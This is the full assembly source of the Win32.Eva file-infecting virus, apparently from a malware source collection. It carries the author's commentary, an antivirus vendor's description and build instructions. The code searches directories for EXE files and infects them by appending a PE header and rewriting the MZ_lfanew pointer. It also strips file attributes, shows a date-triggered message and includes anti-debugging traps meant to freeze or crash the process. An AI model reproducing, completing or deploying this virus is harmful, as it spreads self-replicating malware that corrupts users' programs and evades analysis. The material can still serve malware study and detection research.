MalwareSourceCode/Win32/Infector/Win32.Eva.asm
2020-10-16 23:26:21 +02:00

687 lines
18 KiB
NASM

;Win32.Eva virus.
;(c) 1999 by Benny
;
;
;Author's description
;---------------------
;
;Let me introduce my first COMPLETE Win32 infector. Yeah, i have written several parts
;of viruses, but this babe is my tiniest one with all needed functions to spread out.
;Win32.Eva is simple appender, infects one EXE file by changing pointer at 3ch
;in the MZ header, which points to new exe. After infection, MZ_lfanew pointer will be
;pointing to the viruses new PE header. So, if u will execute infected program under Win9X,
;WinNT or under Win3.1x with Win32s subsystem, program will start at the new location.
;After virus will be done with his work executes program again with changed
;MZ_lfanew pointer, that will be pointing to the original PE header.
;
;
;Payload
;--------
;
;On February the 2nd will display message box with some stupid comments.
;
;
;To build
;---------
;
;tasm32 -ml -m5 -q eva.asm
;tlink32 -Tpe -c -x -aa -r eva,,, import32
;pewrsec eva.exe (thanx Jacky !)
;
;
;AVP's description
;------------------
;
;This is a direct action (nonmemory resident) parasitic Win32 infector. It
;searches for PE EXE files in the Windows, Windows system [* Benny's note: it
;DOESN'T infect files in Windows/System directory!] and current directories,
;then writes itself to the end of the file. While infecting the virus does not
;modify the PE header at all, the infection way is based only on DOS Stub
;header: the virus writes to there new file offset of PE header (virus PE
;header). As a result the infected file has three parts: first part is original
;DOS stub, the second part is host PE data (not modified), third part is virus
;code and data.
;
;The virus has PE file structure: it contains PE header, section headers, import
;table, code and data sections. The modified DOS stub in infected files points
;to virus PE header instead of original ones. As a result, Windows32 while
;executing infected files reads and runs virus code instead of host one.
;
;To return to the host program the virus creates a copy of the infected file,
;disinfects it (just restores file offset of PE header) and spawns.
;
;On February 2nd the virus displays the message window:
;
; Win32.Eva by Benny, (c) 1999
; Hello stupid user, i'm so sorry, but i have to interrupt your work,
; 'cause I hate this shitty program. Click OK to continue.
;
; Greets to:
; Super/29A
; Darkman/29A
; Jacky Qwerty/29A
; Billy Belcebu/DDT
; and many other 29Aers...
;
;
;Some greets
;------------
;
;All 29Aers.... And thats only the beginnin' :-)
;Super/29A..... However, blue screen is still the best Sexy's effect :-)
;
;
;Who is Eva ?
;-------------------------
;
;Eva is one pretty girl with nice black/red hair and lovely eyes.
;I hope, that this work (fully programmed and commented by three days - good
;motivation :-)) will say some words to Eva better than I X-DD. I hate myself.
;
;
;Last notes
;-----------
;
;This virus has many bugs (after many repairs without tests) and in this time, I don't care
;about it. Don't bitch if, that it doesn't work and look at my last viruses... Hey, it's my first
;virus, so gimme space for living X-D.
;
;
;And here is it...
.386p ;386 instructions
.model flat ;32bit offset, no segments
include PE.inc ;include some needed files
include MZ.inc
include Useful.inc
include win32api.inc
extrn FindFirstFileA:PROC ;and import needed APIs
extrn SetFileAttributesA:PROC
extrn CreateFileA:PROC
extrn CreateFileMappingA:PROC
extrn MapViewOfFile:PROC
extrn UnmapViewOfFile:PROC
extrn CloseHandle:PROC
extrn FindClose:PROC
extrn FindNextFileA:PROC
extrn CopyFileA:PROC
extrn GetCommandLineA:PROC
extrn CreateProcessA:PROC
extrn GetModuleFileNameA:PROC
extrn WaitForSingleObject:PROC
extrn DeleteFileA:PROC
extrn GetCurrentDirectoryA:PROC
extrn GetWindowsDirectoryA:PROC
extrn GetSystemDirectoryA:PROC
extrn GetVersion:PROC
extrn GetSystemTime:PROC
extrn MessageBoxA:PROC
extrn GetLastError:PROC
extrn GetModuleHandleA:PROC
extrn GetProcAddress:PROC
extrn SetFilePointer:PROC
extrn SetEndOfFile:PROC
.data ;data section
msgTitle db 'Win32.Eva by Benny, (c) 1999', 0
msgText db 'Hello stupid user, i''m so sorry, but i have to interrupt your work,', 0dh
db '''cause I hate this shitty program. Click OK to continue.', 0dh, 0dh
db 'Greets to:', 0dh
db 9, 'Super/29A', 0dh
db 9, 'Darkman/29A', 0dh
db 9, 'Jacky Qwerty/29A', 0dh
db 9, 'Billy Belcebu/DDT', 0dh, 0dh
db 9, 'and many other 29Aers...', 0dh, 0dh, 0
kernel db 'KERNEL32', 0
IsDebuggerPresent db 'IsDebuggerPresent', 0
fmask db '*.EXE',0 ;search mask
DestFile db 'aaaaeva.exe', 0 ;temporary file
org $ - 1
space db ? ;space between name and params
CmdLine db 256 - 12 dup (?) ;command line
win32_find_data WIN32_FIND_DATA ?
search_handle dd ?
hFile dd ?
hMyFile dd ?
hMapFile dd ?
hMyMapFile dd ?
lpFile dd ?
lpMyFile dd ?
lppiProcInfo: ;needed by CreateProcessA
hProcess dd ?
hThread dd ?
dwProcessID dd ?
dwThreadID dd ?
lpFileName db 256 dup (?)
lpsiStartInfo db 64 dup (?)
lpWindowsPath db 256 dup (?)
lpCurrentPath db 256 dup (?)
org lpCurrentPath
lpSystemTime db 16 dup (?) ;these variables may overlap
ends
.code ;code of virus starts here
Start:
pushad
pushad
@SEH_SetupFrame ;setup SEH frame
inc dword ptr [edx] ;bye TD32 !
db 2dh ;some prefix
seh_rs:
push 256
push offset lpFileName
push 0
call GetModuleFileNameA ;get file-name of me
test_dir: ;i wont infect files in Windows
;dir, 'cause NT could crash
;on start
mov esi, offset lpCurrentPath
push esi
push esi
push 256
call GetCurrentDirectoryA ;get current directory
pop ebx
push 256
mov edi, offset lpWindowsPath
push edi
call GetWindowsDirectoryA ;getwindows directory
N_Char: cmpsb ;compare
jpatch: jne NoMatch ;no match, jump
jne FindFile ;second jump for next test
cmp byte ptr [esi - 1], 0 ;end of string ?
jne N_Char ;no, get next char
jmp quit_to_host ;yeah, we're in Windows dir.,
;jump to host
db 68h ;some prefix
NoMatch:push 256
mov edi, offset lpWindowsPath
push edi
call GetSystemDirectoryA ;get windows system dir.
mov word ptr [jpatch], 9090h ;path first jump with NOPs,
;second will take effect
mov esi, ebx
jmp N_Char ;and test directory
db 8bh ;some prefix
FindFile:
push offset win32_find_data
push offset fmask
call FindFirstFileA ;find first file
test eax, eax
je exit_search ;no files, quit
mov search_handle, eax ;save search handle
try_infect:
cmp win32_find_data.WFD_nFileSizeHigh, 0 ;discard huge files
jne Try_Next
mov eax, [win32_find_data.WFD_nFileSizeLow]
cmp eax, 4096*4 ;discard small files
jb Try_Next
cmp eax, (64*64*512)+1 ;discard huge files
jb @1
Try_Next:
push offset win32_find_data
push [search_handle]
call FindNextFileA ;try next file
xchg eax, ecx
jecxz exit_search ;no files, quit
jmp try_infect ;try infect it
db 67h ;some prefix
@1: mov edx, offset win32_find_data.WFD_szFileName
push edx
push 0
push edx
call SetFileAttributesA ;black file attributes
pop edx
xchg eax, ecx
jecxz Try_Next ;can't set attributes, try next
call OpenFile ;open and map file
jecxz Try_Next ;cant map file, try next
call InfectFile ;infect file
cmp eax, 'EVA' ;infection OK ?
je exit_search ;no, try next
push [lpFile]
call UnmapViewOfFile ;unmap view of file
push [hMapFile]
call CloseHandle ;close file mapping object
;error, we MUST TRUNCATE FILE BACK !
push 0
push 0
push [win32_find_data.WFD_nFileSizeLow]
push [hFile]
call SetFilePointer ;set file pointer to original size
push [hFile]
call SetEndOfFile ;and truncate file
call end_OpenFile3 ;close file
jmp Try_Next ;try next file
exit_search:
call CloseFile ;close and unmap file
call MyClose ;close and unmap my file
push [win32_find_data.WFD_dwFileAttributes]
push offset win32_find_data.WFD_szFileName
call SetFileAttributesA ;set back file attributes
push [search_handle]
call FindClose ;close search handle
quit_to_host:
push offset lpSystemTime ;test for activate payload
call GetSystemTime ;get system time
push 2
pop ecx ;ecx = 2
cmp word ptr [lpSystemTime+2], cx ;is February ?
jne no_payload
cmp word ptr [lpSystemTime+6], cx ;is 2nd of February
jne no_payload
cmp word ptr [lpSystemTime+12], cx ;2 seconds ?
jne no_payload
push 1000h ;system modal window
push offset msgTitle ;title
push offset msgText ;test
push 0 ;owner - NULL
call MessageBoxA ;display bessage box
no_payload:
push 0 ;overwrite file, if exist already
push offset DestFile ;destination file
cpyf: push offset lpFileName ;source file
call CopyFileA ;copy file
test eax, eax ;error ? (disk full, for example)
jne getcommandline
call GetLastError ;get las error
cmp eax, 32 ;another process is using this file
jne exit ;unknown error, exit
push 0 ;everwrite file
mov edx, offset DestFile ;dest. file
inc dword ptr [edx] ;try generate another file
push edx
jmp cpyf ;and try to copy file again
db 8bh ;some prefix
getcommandline: ;now we will skip our filename
call GetCommandLineA ;get command line
mov esi, eax ;set source
cat: lodsb ;get char
cmp al, 0 ;no params ?
je run_prg
cmp al, '"' ;long files r written with ""s
je long_name
cmp al, 20h ;is it space ?
jne cat
cat1: mov edi, offset CmdLine ;destination
lodsb ;movsb with char in al
stosb
cmp al, 0 ;end of params ?
je run_prg
cat0: lodsb ;same as previous
stosb
cmp al, 0
jne cat0
run_prg:
mov edx, offset DestFile ;edx as file to param
mov win32_find_data.WFD_nFileSizeLow, 2048 ;save num. of bytes to map
call OpenFile ;open and map our file
jecxz end_host ;if error, quit
mov eax, [ecx.MZ_lfanew - 4] ;load oroginal MZ_lfanew
mov [ecx.MZ_lfanew], eax ;and save it to that original pos.
call CloseFile ;close and unmap file
mov [space], 20h ;add params
xor eax, eax
push offset lppiProcInfo ;procinfo
push offset lpsiStartInfo ;start info
mov [lpsiStartInfo], SIZE lpsiStartInfo ;size of start info
push eax ;directory
push eax ;enviroment
push eax ;create options
push eax ;inherit handles ?
push eax ;thread SA
push eax ;process SA
push offset DestFile ;command line
push eax ;app name
call CreateProcessA ;create process !
xchg eax, ecx
jecxz end_host ;if error, quit
push -1 ;infinite
push [hProcess] ;child process
call WaitForSingleObject ;wait for signaled state
push [hThread]
call CloseHandle ;close thread primary thread handle
push [hProcess]
call CloseHandle ;close process handle
end_host:
mov edi, offset DestFile
push edi ;file to delete
mov byte ptr [edi+space-DestFile], 0 ;add NULL between file and params
call DeleteFileA ;delete it !
exit: popad ;restore all registers
ret ;otherwise this quit metod will not work !
db 75h ;some prefix
long_name:
lodsb ;load char
cmp al, '"'
jne long_name ;wait for next "
jmp cat1
db 73h ;some prefix
InfectFile proc
mov ebx, ecx ;save address of MM-file
cmp word ptr [ecx], IMAGE_DOS_SIGNATURE ;must be MZ
jne end_InfectFile
cmp dword ptr [ecx.MZ_lfanew-4], 0 ;mustn't be infected already
jne end_InfectFile
mov edx, [ecx.MZ_lfanew]
add ecx, edx
cmp dword ptr [ecx], IMAGE_NT_SIGNATURE ;must be PE\0\0
jne end_InfectFile
cmp word ptr [ecx.NT_FileHeader.FH_Machine], IMAGE_FILE_MACHINE_I386 ;must be 386+
jne end_InfectFile
movzx eax, word ptr [ecx.NT_FileHeader.FH_Characteristics]
not al
test eax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL
jne end_InfectFile ;must be executable, mustn't be DLL
;at this point:
; EBX - start of MM-file
; ECX - PE header of MM-file
mov ebp, ebx
mov edi, ecx
sub edi, ebx
mov [ebx.MZ_lfanew-4], edi ;save original MZ_lfanew
mov eax, win32_find_data.WFD_nFileSizeLow
mov [ebx.MZ_lfanew], eax
mov edi, ebx
add edi, eax
mov edx, [ebx.MZ_lfanew]
add edx, ebx
push edx ;push it, will be needed l8r
call MyOpen ;open and map me
pop edx
jecxz end_InfectFile ;can't open, quit
push edx
mov esi, [ecx.MZ_lfanew]
add esi, ecx
push ecx
mov ecx, (503) / 4 ;PE header size + section header size
cld
rep movsd ;copy PE header + all section headers
pop esi
pop edx
;at this point:
; EDX - start of our new PE header
; EBP - start of MM-file (MZ header)
; ESI - start of MM prg+virus (MZ header)
; EDI - pointer to memory, where will be copied virus sections
push ebp
;from ...
mov ecx, [esi.MZ_lfanew]
add ecx, esi
movzx ebx, word ptr [ecx.NT_FileHeader.FH_SizeOfOptionalHeader] ;size of optional header
;to ...
mov ebp, edx
movzx edx, word ptr [edx.NT_FileHeader.FH_SizeOfOptionalHeader] ; ...
mov eax, 4 ;number of sections
copy_sections:
pushad
pushad
call Align ;align position
mov [esp.Pushad_edi], edi
popad
;from ...
lea ebx, [ecx.NT_OptionalHeader + ebx]
add esi, [ebx.SH_PointerToRawData] ;address of section data
mov ecx, [ebx.SH_SizeOfRawData] ;size of section data
;to ...
lea edx, [ebp.NT_OptionalHeader + edx]
mov ebx, edi
sub ebx, [esp.cPushad.RetAddr]
mov [edx.SH_PointerToRawData], ebx ;save pointer
rep movsb
mov [esp.Pushad_edi], edi
popad
sub ebx, -IMAGE_SIZEOF_SECTION_HEADER ;next section
sub edx, -IMAGE_SIZEOF_SECTION_HEADER ;next section
dec eax
jne copy_sections
pop ebp
mov eax, 'EVA' ;success, toggle flag
end_InfectFile:
ret
InfectFile EndP
db 72h ;some prefix
Align Proc
mov eax, edi
mov ebx, 200h ;our align
AlignIt:xor edx, edx ;nulify idiv remaider
push eax
idiv ebx ;divide it !
pop eax
test edx, edx ;mod = 0 ?
je end_align ;yeah, align complete
inc eax ;no, increment address
jmp AlignIt ;and jump back
end_align:
mov edi, eax ;edi = new aligned address
ret
Align EndP
db 75h ;some prefix
MyOpen proc
cdq ;edx = 0
push edx ;hTemlate
push edx ;normal attributes
push OPEN_EXISTING ;creation options
push edx ;SA
push FILE_SHARE_READ or FILE_SHARE_WRITE ;share mode
push GENERIC_READ ;desired access
push offset lpFileName ;lpFileName
call CreateFileA ;open it !
inc eax ;eax = -1 ?
je end_MyOpen3
dec eax
mov hMyFile, eax ;save handle
mov esi, eax
cdq ;edx = 0
push edx ;lpszMapName
push edx ;max. size low
push edx ;max. size high
push PAGE_READONLY ;fdwProtect
push edx ;SA
push esi ;hFile
call CreateFileMappingA ;create mapping !
xchg eax, ecx
jecxz end_MyOpen2 ;eax = 0 ?
mov hMyMapFile, ecx ;save handle
xor eax, eax ;eax = 0
push eax ;bytes to map
push eax ;offset low
push eax ;offset high
push FILE_MAP_READ ;dwDesiredAccess
push ecx ;hMapObj
call MapViewOfFile ;map it !
mov lpMyFile, eax ;save handle
xchg eax, ecx ;ret. value in ecx
ret
db 76h ;some prefix
MyClose:
push [lpMyFile]
call UnmapViewOfFile ;close mapped file
end_MyOpen2:
push [hMyMapFile]
call CloseHandle ;close mapping
end_MyOpen3:
push [hMyFile]
call CloseHandle ;close file
xor ecx, ecx
ret
MyOpen EndP
db 75h ;some prefix
;same as previous
OpenFile proc
xor eax, eax
push eax
push eax
push OPEN_EXISTING
push eax
mov al, 1
push eax
ror eax, 1
rcr eax, 1
push eax
push edx
call CreateFileA
cdq
inc eax
je end_OpenFile3
dec eax
mov hFile, eax
push edx
mov esi, win32_find_data.WFD_nFileSizeLow
sub esi, -4096
push esi
push edx
push PAGE_READWRITE
push 0
push eax
call CreateFileMappingA
cdq
xchg eax, ecx
jecxz end_OpenFile2
mov hMapFile, ecx
push esi
push edx
push edx
push FILE_MAP_WRITE
push ecx
call MapViewOfFile
mov lpFile, eax
xchg eax, ecx
ret
db 76h ;some prefix
CloseFile:
push [lpFile]
call UnmapViewOfFile
end_OpenFile2:
push [hMapFile]
call CloseHandle
end_OpenFile3:
push [hFile]
call CloseHandle
xor ecx, ecx
ret
OpenFile EndP
db 77h ;some prefix
seh_fn:
@SEH_RemoveFrame ;remove SEH frame
popad ;restore regs
call GetVersion ;get windows version
cmp eax, 80000000h ;is it WinNT ?
jb NT_debug_trap ;yeah, freeze this app
cmp ax, 0a04h ;or Win98
jb no_debug_trap ;Win95-
debug_trap: ;Win95/98
call IsDebugger
mov eax, 909119cdh ;set some instructions
jmp $ - 4 ;say bye to your balls :-)
db 2dh ;some prefix
no_debug_trap:
jmp seh_rs ;jump back
db 2dh ;some prefix
NT_debug_trap:
call IsDebugger
xor esp, esp ;this will freeze our app
push ecx ;if not, this will cause
;access violation exception
IsDebugger:
pop ebx
push offset kernel
call GetModuleHandleA ;get memory address of kernel32
xchg eax, ecx
jecxz no_debug_trap ;error, jump
push offset IsDebuggerPresent
push ecx
call GetProcAddress ;get procedure address of our API
xchg eax, ecx
jecxz no_debug_trap
call ecx ;call IsDebuggerPresent
xchg eax, ecx
jecxz no_debug_trap
jmp ebx
ends
End Start